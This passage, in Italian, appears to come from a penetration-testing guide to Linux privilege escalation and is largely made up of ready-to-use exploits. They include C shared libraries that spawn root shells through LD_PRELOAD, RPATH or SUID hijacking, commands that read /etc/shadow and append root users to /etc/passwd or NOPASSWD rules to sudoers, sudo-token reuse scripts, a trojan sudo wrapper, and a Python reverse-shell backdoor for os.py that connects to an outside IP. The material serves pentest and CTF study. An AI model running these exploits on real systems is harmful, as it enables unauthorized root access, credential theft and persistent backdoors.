La configurazione di sudo potrebbe permettere a un utente di eseguire un comando con i privilegi di un altro utente senza conoscere la password.

$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim

In questo esempio l'utente demo può eseguire vim come root; è quindi triviale ottenere una shell aggiungendo una ssh key nella directory root o eseguendo sh.

sudo vim -c '!sh'

SETENV

Questa direttiva permette all'utente di impostare una variabile d'ambiente durante l'esecuzione di qualcosa:

bash
$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh

Questo esempio, basato su HTB machine Admirer, era vulnerabile a PYTHONPATH hijacking per caricare una libreria python arbitraria eseguendo lo script come root:

bash
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh

BASH_ENV preservato via sudo env_keep → root shell

Se sudoers preserva BASH_ENV (es., Defaults env_keep+="ENV BASH_ENV"), puoi sfruttare il comportamento di avvio non-interattivo di Bash per eseguire codice arbitrario come root quando invochi un comando consentito.

  • Perché funziona: Per le shell non-interattive, Bash valuta $BASH_ENV e esegue il sourcing di quel file prima di eseguire lo script di destinazione. Molte regole sudo permettono di eseguire uno script o un wrapper di shell. Se BASH_ENV è preservato da sudo, il tuo file viene eseguito con privilegi di root.

  • Requisiti:

  • Una regola sudo che puoi eseguire (qualsiasi target che invoca /bin/bash in modo non-interattivo, o qualsiasi bash script).

  • BASH_ENV presente in env_keep (verifica con sudo -l).

  • PoC:

bash
cat > /dev/shm/shell.sh <<'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x /dev/shm/shell.sh
BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo   # or any permitted script/binary that triggers bash
# You should now have a root shell
  • Hardening:
  • Rimuovere BASH_ENV (e ENV) da env_keep, preferire env_reset.
  • Evitare wrapper di shell per i comandi autorizzati da sudo; usare binari minimi.
  • Considerare il logging e l'alerting I/O di sudo quando vengono usate variabili d'ambiente preservate.

Sudo execution bypassing paths

Vai a leggere altri file o usa symlinks. Ad esempio nel file sudoers: hacker10 ALL= (root) /bin/less /var/log/*

bash
sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
bash
ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file

Se viene usato un wildcard (*), è ancora più facile:

bash
sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files

Contromisure: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/

Sudo command/SUID binary senza percorso del comando

Se il permesso sudo è concesso a un singolo comando senza specificare il percorso: hacker10 ALL= (root) less puoi sfruttarlo modificando la variabile PATH

bash
export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less

Questa tecnica può anche essere usata se un suid binary esegue un altro comando senza specificarne il percorso (controlla sempre con strings il contenuto di un SUID binary strano).

Payload examples to execute.

SUID binary con percorso del comando

Se il suid binary esegue un altro comando specificando il percorso, allora puoi provare a export a function chiamata come il comando che il suid file sta invocando.

Per esempio, se un suid binary chiama /usr/sbin/service apache2 start devi provare a creare la funzione ed esportarla:

bash
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service

Poi, quando invoci il binario suid, questa funzione verrà eseguita

LD_PRELOAD & LD_LIBRARY_PATH

La variabile d'ambiente LD_PRELOAD viene usata per specificare una o più librerie condivise (.so files) da caricare dal loader prima di tutte le altre, inclusa la libreria C standard (libc.so). Questo processo è noto come preloading di una libreria.

Tuttavia, per mantenere la sicurezza del sistema e prevenire lo sfruttamento di questa funzionalità, in particolare con eseguibili suid/sgid, il sistema impone alcune condizioni:

  • Il loader ignora LD_PRELOAD per gli eseguibili in cui l'ID utente reale (ruid) non corrisponde all'ID utente effettivo (euid).
  • Per gli eseguibili con suid/sgid, vengono precaricate solo le librerie in percorsi standard che sono anch'esse suid/sgid.

L'escalation di privilegi può verificarsi se hai la possibilità di eseguire comandi con sudo e l'output di sudo -l include la direttiva env_keep+=LD_PRELOAD. Questa configurazione permette alla variabile d'ambiente LD_PRELOAD di persistere ed essere riconosciuta anche quando i comandi vengono eseguiti con sudo, potenzialmente portando all'esecuzione di codice arbitrario con privilegi elevati.

Defaults        env_keep += LD_PRELOAD

Salva come /tmp/pe.c

c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

Quindi compilalo usando:

bash
cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Infine, escalate privileges eseguendo

bash
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo

caution

Una privesc simile può essere sfruttata se l'attaccante controlla la LD_LIBRARY_PATH env variable perché controlla il percorso in cui verranno cercate le librerie.

c
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
bash
# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>

SUID Binary – .so injection

Quando ci si imbatte in un binary con permessi SUID che appaiono sospetti, è buona pratica verificare se carica correttamente i file .so. Questo può essere controllato eseguendo il seguente comando:

bash
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"

Per esempio, incontrare un errore come "open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)" suggerisce la possibilità di sfruttamento.

Per sfruttarlo, si procede creando un file C, ad esempio "/path/to/.config/libcalc.c", contenente il seguente codice:

c
#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

Questo codice, una volta compilato ed eseguito, mira a elevare i privilegi manipolando i file permissions ed eseguendo una shell con privilegi elevati.

Compila il file C sopra in un shared object (.so) con:

bash
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c

Infine, l'esecuzione del binario SUID interessato dovrebbe attivare l'exploit, consentendo una potenziale compromissione del sistema.

Shared Object Hijacking

bash
# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so

# The SUID also loads libraries from a custom location where we can write
readelf -d payroll  | grep PATH
0x000000000000001d (RUNPATH)            Library runpath: [/development]

Ora che abbiamo trovato un SUID binary che carica una library da una cartella in cui possiamo scrivere, creiamo la library in quella cartella con il nome necessario:

c
//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}

Se ricevi un errore come

shell-session
./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name

ciò significa che la libreria che hai generato deve avere una funzione chiamata a_function_name.

GTFOBins

GTFOBins è una lista curata di binari Unix che possono essere sfruttati da un attacker per bypassare restrizioni di sicurezza locali. GTFOArgs è la stessa cosa ma per i casi in cui puoi only inject arguments in a command.

Il progetto raccoglie funzioni legittime di binari Unix che possono essere abusate per uscire da restricted shells, escalate o mantenere privilegi elevati, trasferire file, spawnare bind e reverse shells, e facilitare altri task di post-exploitation.

gdb -nx -ex '!sh' -ex quit
sudo mysql -e '! /bin/sh'
strace -o /dev/null /bin/sh
sudo awk 'BEGIN {system("/bin/sh")}'

\n \n GTFOBins\n

\n \n GTFOArgs\n

FallOfSudo

Se puoi eseguire sudo -l puoi usare lo strumento FallOfSudo per verificare se trova un modo per sfruttare qualche regola sudo.

Reusing Sudo Tokens

In casi in cui hai sudo access ma non la password, puoi escalare i privilegi aspettando l'esecuzione di un comando sudo e poi hijackare il session token.

Requisiti per escalare i privilegi:

  • Hai già una shell come utente "sampleuser"
  • "sampleuser" ha usato sudo per eseguire qualcosa negli ultimi 15mins (di default quella è la durata del sudo token che ci permette di usare sudo senza inserire alcuna password)
  • cat /proc/sys/kernel/yama/ptrace_scope è 0
  • gdb è accessibile (puoi caricarlo)

(Puoi temporaneamente abilitare ptrace_scope con echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope o permanentemente modificando /etc/sysctl.d/10-ptrace.conf impostando kernel.yama.ptrace_scope = 0)

Se tutti questi requisiti sono soddisfatti, puoi escalare i privilegi usando: https://github.com/nongiach/sudo_inject

  • The first exploit (exploit.sh) creerà il binario activate_sudo_token in /tmp. Puoi usarlo per attivare il sudo token nella tua sessione (non otterrai automaticamente una shell root, esegui sudo su):
bash
bash exploit.sh
/tmp/activate_sudo_token
sudo su
  • Il secondo exploit (exploit_v2.sh) creerà una shell sh in /tmp di proprietà di root con setuid
bash
bash exploit_v2.sh
/tmp/sh -p
  • Il terzo exploit (exploit_v3.sh) creerà un sudoers file che rende i sudo tokens eterni e permette a tutti gli utenti di usare sudo
bash
bash exploit_v3.sh
sudo su

/var/run/sudo/ts/<Username>

Se hai write permissions nella cartella o su uno qualsiasi dei file creati all'interno della cartella puoi usare il binary write_sudo_token per create a sudo token for a user and PID.
Ad esempio, se puoi sovrascrivere il file /var/run/sudo/ts/sampleuser e hai una shell come quell'utente con PID 1234, puoi obtain sudo privileges senza bisogno di conoscere la password eseguendo:

bash
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser

/etc/sudoers, /etc/sudoers.d

Il file /etc/sudoers e i file all'interno di /etc/sudoers.d configurano chi può usare sudo e come. Questi file per impostazione predefinita possono essere letti solo dall'utente root e dal gruppo root.
Se puoi leggere questo file potresti essere in grado di ottenere alcune informazioni interessanti, e se puoi scrivere su qualsiasi file potrai escalate privileges

bash
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/

Se puoi scrivere, puoi abusare di questo permesso

bash
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README

Un altro modo per abusare di questi permessi:

bash
# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win

DOAS

Esistono alcune alternative al binario sudo, come doas per OpenBSD; ricordati di controllare la sua configurazione in /etc/doas.conf

permit nopass demo as root cmd vim

Sudo Hijacking

Se sai che un user si collega di solito a una macchina e usa sudo per elevare i privilegi e hai ottenuto una shell nel contesto di quell'user, puoi creare un nuovo eseguibile sudo che eseguirà il tuo codice come root e poi il comando dell'user. Poi, modificare il $PATH del contesto user (per esempio aggiungendo il nuovo percorso in .bash_profile) così quando l'user esegue sudo, il tuo eseguibile sudo verrà eseguito.

Nota che se l'user usa una shell diversa (non bash) dovrai modificare altri file per aggiungere il nuovo percorso. Ad esempio sudo-piggyback modifica ~/.bashrc, ~/.zshrc, ~/.bash_profile. Puoi trovare un altro esempio in bashdoor.py

Oppure eseguendo qualcosa come:

bash
cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other

# From the victim
zsh
echo $PATH
sudo ls

Libreria condivisa

ld.so

Il file /etc/ld.so.conf indica da dove provengono i file di configurazione caricati. Tipicamente, questo file contiene il seguente percorso: include /etc/ld.so.conf.d/*.conf

Questo significa che i file di configurazione da /etc/ld.so.conf.d/*.conf saranno letti. Questi file di configurazione puntano ad altre cartelle dove le librerie saranno cercate. Ad esempio, il contenuto di /etc/ld.so.conf.d/libc.conf è /usr/local/lib. Questo significa che il sistema cercherà le librerie all'interno di /usr/local/lib.

Se per qualche motivo un utente ha permessi di scrittura su uno qualsiasi dei percorsi indicati: /etc/ld.so.conf, /etc/ld.so.conf.d/, qualsiasi file all'interno di /etc/ld.so.conf.d/ o qualsiasi cartella indicata nel file di configurazione dentro /etc/ld.so.conf.d/*.conf potrebbe essere in grado di escalare i privilegi.
Dai un'occhiata a come sfruttare questa configurazione errata nella seguente pagina:

ld.so privesc exploit example

RPATH

level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED)                     Shared library: [libc.so.6]
0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)

Copiare la libreria in /var/tmp/flag15/ farà sì che venga utilizzata dal programma in questo percorso, come specificato nella variabile RPATH.

level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)

Quindi crea una libreria malevola in /var/tmp con gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6

c
#include<stdlib.h>
#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}

Capabilities

Linux capabilities forniscono un sottinsieme dei privilegi root disponibili a un processo. Questo scompone effettivamente i privilegi root in unità più piccole e distintive. Ognuna di queste unità può poi essere concessa indipendentemente ai processi. In questo modo l'insieme completo dei privilegi viene ridotto, diminuendo i rischi di exploitation.
Leggi la pagina seguente per saperne di più sulle capabilities e su come abusarne:

Linux Capabilities

Directory permissions

In una directory, il bit for "execute" implica che l'utente interessato può "cd" nella cartella.
Il "read" bit implica che l'utente può list i files, e il "write" bit implica che l'utente può delete e create nuovi files.

ACLs

Access Control Lists (ACLs) rappresentano il livello secondario di permessi discrezionali, in grado di sovrascrivere i tradizionali ugo/rwx permissions. Questi permessi migliorano il controllo sull'accesso a file o directory permettendo di concedere o negare diritti a utenti specifici che non sono i proprietari o parte del gruppo. Questo livello di granularità garantisce una gestione degli accessi più precisa. Ulteriori dettagli si trovano qui.

Concedi user "kali" read and write permissions over a file:

bash
setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)

setfacl -b file.txt #Remove the ACL of the file

Ottieni file con ACL specifiche dal sistema:

bash
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null

Sessioni shell aperte

In vecchie versioni potresti effettuare un hijack di qualche sessione shell di un altro utente (root).
In versioni più recenti sarai in grado di connect alle screen sessions solo del tuo stesso utente. Tuttavia, potresti trovare informazioni interessanti all'interno della sessione.

Hijacking delle screen sessions

Elenca le screen sessions

bash
screen -ls
screen -ls <username>/ # Show another user' screen sessions

Collegarsi a una sessione

bash
screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]

tmux sessions hijacking

Questo era un problema con le vecchie versioni di tmux. Non sono riuscito a hijackare una sessione tmux (v2.1) creata da root come utente non privilegiato.

Elenca le sessioni tmux

bash
tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess

Collegarsi a una sessione

bash
tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself

ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep  1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket

Check Valentine box from HTB for an example.

SSH

Debian OpenSSL Predictable PRNG - CVE-2008-0166

Tutte le chiavi SSL e SSH generate su sistemi basati su Debian (Ubuntu, Kubuntu, etc) tra settembre 2006 e il 13 maggio 2008 possono essere affette da questo bug.
Questo bug si verifica quando si crea una nuova ssh key su quegli OS, poiché erano possibili solo 32,768 variazioni. Ciò significa che tutte le possibilità possono essere calcolate e avendo la ssh public key puoi cercare la corrispondente private key. Puoi trovare le possibilità calcolate qui: https://github.com/g0tmi1k/debian-ssh

SSH Valori di configurazione interessanti

  • PasswordAuthentication: Specifica se l'autenticazione tramite password è consentita. Il valore predefinito è no.
  • PubkeyAuthentication: Specifica se l'autenticazione tramite public key è consentita. Il valore predefinito è yes.
  • PermitEmptyPasswords: Quando l'autenticazione tramite password è consentita, specifica se il server permette il login ad account con password vuote. Il valore predefinito è no.

PermitRootLogin

Specifica se root può effettuare il login usando ssh, il valore predefinito è no. Valori possibili:

  • yes: root può effettuare il login usando password e private key
  • without-password o prohibit-password: root può effettuare il login solo con una private key
  • forced-commands-only: root può effettuare il login solo usando una private key e se sono specificate le opzioni commands
  • no : non permesso

AuthorizedKeysFile

Specifica i file che contengono le chiavi pubbliche che possono essere usate per l'autenticazione dell'utente. Può contenere token come %h, che verrà sostituito con la home directory. Puoi indicare percorsi assoluti (che iniziano in /) o percorsi relativi dalla home dell'utente. Per esempio:

bash
AuthorizedKeysFile    .ssh/authorized_keys access

Quella configurazione indicherà che se provi a fare login con la private key dell'utente "testusername" ssh confronterà la public key della tua key con quelle presenti in /home/testusername/.ssh/authorized_keys e /home/testusername/access

ForwardAgent/AllowAgentForwarding

SSH agent forwarding permette di use your local SSH keys instead of leaving keys (without passphrases!) sul tuo server. Quindi, sarai in grado di jump via ssh to a host e da lì jump to another host using the key located in your initial host.

Devi impostare questa opzione in $HOME/.ssh.config in questo modo:

Host example.com
ForwardAgent yes

Nota che se Host è * ogni volta che l'utente si collega a una macchina diversa, quell'host potrà accedere alle chiavi (il che costituisce un problema di sicurezza).

Il file /etc/ssh_config può sovrascrivere queste opzioni e consentire o negare questa configurazione.
Il file /etc/sshd_config può consentire o negare ssh-agent forwarding con la keyword AllowAgentForwarding (il valore predefinito è allow).

Se trovi che Forward Agent è configurato in un ambiente, leggi la seguente pagina poiché potresti essere in grado di abusarne per elevare i privilegi:

SSH Forward Agent exploitation

Interesting Files

Profiles files

Il file /etc/profile e i file sotto /etc/profile.d/ sono script che vengono eseguiti quando un utente avvia una nuova shell. Pertanto, se puoi scrivere o modificare anche solo uno di essi, puoi elevare i privilegi.

bash
ls -l /etc/profile /etc/profile.d/

Se viene trovato qualche script di profilo sospetto, dovresti controllarlo per dettagli sensibili.

File passwd/shadow

A seconda dell'OS i file /etc/passwd e /etc/shadow potrebbero avere un nome diverso o potrebbero esistere backup. Perciò è consigliato trovarli tutti e verificare se puoi leggerli per vedere se ci sono hash all'interno dei file:

bash
#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null

In alcune occasioni puoi trovare password hashes all'interno del file /etc/passwd (o equivalente)

bash
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null

/etc/passwd scrivibile

Per prima cosa, genera una password con uno dei seguenti comandi.

openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'

Quindi aggiungi l'utente hacker e inserisci la password generata.

hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash

Esempio: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash

Ora puoi usare il comando su con hacker:hacker

In alternativa, puoi usare le seguenti righe per aggiungere un utente fittizio senza password.
ATTENZIONE: potresti ridurre la sicurezza attuale della macchina.

echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy

NOTA: Nelle piattaforme BSD /etc/passwd si trova in /etc/pwd.db e /etc/master.passwd; inoltre /etc/shadow è rinominato in /etc/spwd.db.

Dovresti verificare se puoi scrivere in alcuni file sensibili. Per esempio, puoi scrivere in qualche file di configurazione di servizio?

bash
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user

Ad esempio, se la macchina esegue un server tomcat e puoi modificare il file di configurazione del servizio Tomcat all'interno di /etc/systemd/, allora puoi modificare le righe:

ExecStart=/path/to/backdoor
User=root
Group=root

La tua backdoor verrà eseguita la prossima volta che tomcat verrà avviato.

Controlla le cartelle

Le seguenti cartelle possono contenere backup o informazioni interessanti: /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (Probabilmente non riuscirai a leggere l'ultima, ma prova)

bash
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root

Posizione insolita/file Owned

bash
#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf "  Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done

File modificati negli ultimi minuti

bash
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null

File DB di Sqlite

bash
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null

*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml file

bash
find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null

File nascosti

bash
find / -type f -iname ".*" -ls 2>/dev/null

Script/Binari in PATH

bash
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done

File web

bash
ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null

Backups

bash
find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null

Known files containing passwords

Leggi il codice di linPEAS, cerca diversi possibili file che potrebbero contenere passwords.
Un altro strumento interessante che puoi usare per questo è: LaZagne che è un'applicazione open source usata per recuperare molte passwords memorizzate su un computer locale per Windows, Linux & Mac.

Logs

Se riesci a leggere i logs, potresti essere in grado di trovare informazioni interessanti/confidenziali al loro interno. Più strano è il log, più interessante sarà (probabilmente).
Also, some "bad" configured (backdoored?) audit logs may allow you to record passwords inside audit logs as explained in this post: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/.

bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null

Per poter leggere i log, il gruppo adm sarà davvero utile.

File di shell

bash
~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell

Generic Creds Search/Regex

Dovresti anche cercare file che contengono la parola "password" nel nome o nel contenuto, e controllare anche la presenza di IP e email nei log, o hash tramite regexp.
Non descriverò qui come fare tutto questo ma se ti interessa puoi controllare gli ultimi controlli che linpeas esegue.

File scrivibili

Python library hijacking

Se sai da dove verrà eseguito uno script python e puoi scrivere in quella cartella oppure puoi modificare python libraries, puoi modificare la libreria OS e backdoorarla (se puoi scrivere dove lo script python verrà eseguito, copia e incolla la libreria os.py).

Per backdoor la libreria basta aggiungere alla fine della libreria os.py la seguente riga (cambia IP e PORT):

python
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Logrotate exploitation

Una vulnerabilità in logrotate permette agli utenti con permessi di scrittura su un log file o sulle sue directory padre di ottenere potenzialmente privilegi elevati. Questo perché logrotate, spesso eseguito come root, può essere manipolato per eseguire file arbitrari, specialmente in directory come /etc/bash_completion.d/. È importante verificare i permessi non solo in /var/log ma anche in qualsiasi directory in cui viene applicata la rotazione dei log.

tip

This vulnerability affects logrotate version 3.18.0 and older

Maggiori informazioni sulla vulnerabilità sono disponibili a questa pagina: https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition.

Puoi sfruttare questa vulnerabilità con logrotten.

Questa vulnerabilità è molto simile a CVE-2016-1247 (nginx logs), quindi ogni volta che scopri di poter alterare dei logs, verifica chi sta gestendo quei logs e controlla se puoi ottenere privilegi sostituendo i logs con symlinks.

/etc/sysconfig/network-scripts/ (Centos/Redhat)

Vulnerability reference: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f

Se, per qualsiasi motivo, un utente è in grado di scrivere uno script ifcf-<whatever> in /etc/sysconfig/network-scripts o di modificare uno esistente, allora il tuo sistema è pwned.

Network scripts, ifcg-eth0 ad esempio, sono usati per le connessioni di rete. Assomigliano esattamente a file .INI. Tuttavia, sono ~sourced~ su Linux da Network Manager (dispatcher.d).

Nel mio caso, l'attributo NAME= in questi network scripts non viene gestito correttamente. Se hai uno spazio bianco/blank space nel nome il sistema prova a eseguire la parte dopo lo spazio bianco/blank. Questo significa che tutto ciò che viene dopo il primo spazio viene eseguito come root.

Per esempio: /etc/sysconfig/network-scripts/ifcfg-1337

bash
NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0

(Nota lo spazio vuoto tra Network e /bin/id)

init, init.d, systemd e rc.d

La directory /etc/init.d ospita script per System V init (SysVinit), il classico sistema di gestione dei servizi Linux. Contiene script per start, stop, restart e talvolta reload dei servizi. Questi possono essere eseguiti direttamente o tramite link simbolici presenti in /etc/rc?.d/. Un percorso alternativo nei sistemi Redhat è /etc/rc.d/init.d.

D'altra parte, /etc/init è associato a Upstart, un più recente sistema di service management introdotto da Ubuntu, che utilizza file di configurazione per le operazioni di gestione dei servizi. Nonostante la transizione a Upstart, gli script SysVinit sono ancora usati insieme alle configurazioni Upstart grazie a uno strato di compatibilità in Upstart.

systemd si afferma come un moderno init e service manager, offrendo funzionalità avanzate come avvio on-demand dei daemon, gestione degli automount e snapshot dello stato di sistema. Organizza i file in /usr/lib/systemd/ per i pacchetti di distribuzione e /etc/systemd/system/ per le modifiche dell'amministratore, semplificando l'amministrazione del sistema.

Altri trucchi

NFS Privilege escalation

NFS no_root_squash/no_all_squash misconfiguration PE

Escaping from restricted Shells

Escaping from Jails

Cisco - vmanage

Cisco - vmanage

Android rooting frameworks: manager-channel abuse

Gli Android rooting frameworks comunemente hookano una syscall per esporre funzionalità privilegiate del kernel a un manager in userspace. Autenticazioni deboli del manager (es. controlli di signature basati su FD-order o schemi di password scadenti) possono permettere a una local app di impersonare il manager e ottenere escalation a root su dispositivi già rootati. Maggiori dettagli e tecniche di exploitation qui:

Android Rooting Frameworks Manager Auth Bypass Syscall Hook

VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244)

La discovery dei servizi basata su regex in VMware Tools/Aria Operations può estrarre un percorso binario dalle command line dei processi ed eseguirlo con -v in un contesto privilegiato. Pattern permissivi (es. uso di \S) possono corrispondere a listener piazzati dall'attaccante in location scrivibili (es. /tmp/httpd), portando all'esecuzione come root (CWE-426 Untrusted Search Path).

Per saperne di più e vedere un pattern generalizzato applicabile ad altri discovery/monitoring stack:

Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244

Protezioni di sicurezza del Kernel

Ulteriori risorse

Static impacket binaries

Linux/Unix Privesc Tools

Best tool to look for Linux local privilege escalation vectors: LinPEAS

LinEnum: https://github.com/rebootuser/LinEnum(-t option)
Enumy: https://github.com/luke-goddard/enumy
Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check
Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py
BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux
Kernelpop: enumera vulnerabilità del kernel su Linux e macOS https://github.com/spencerdodd/kernelpop
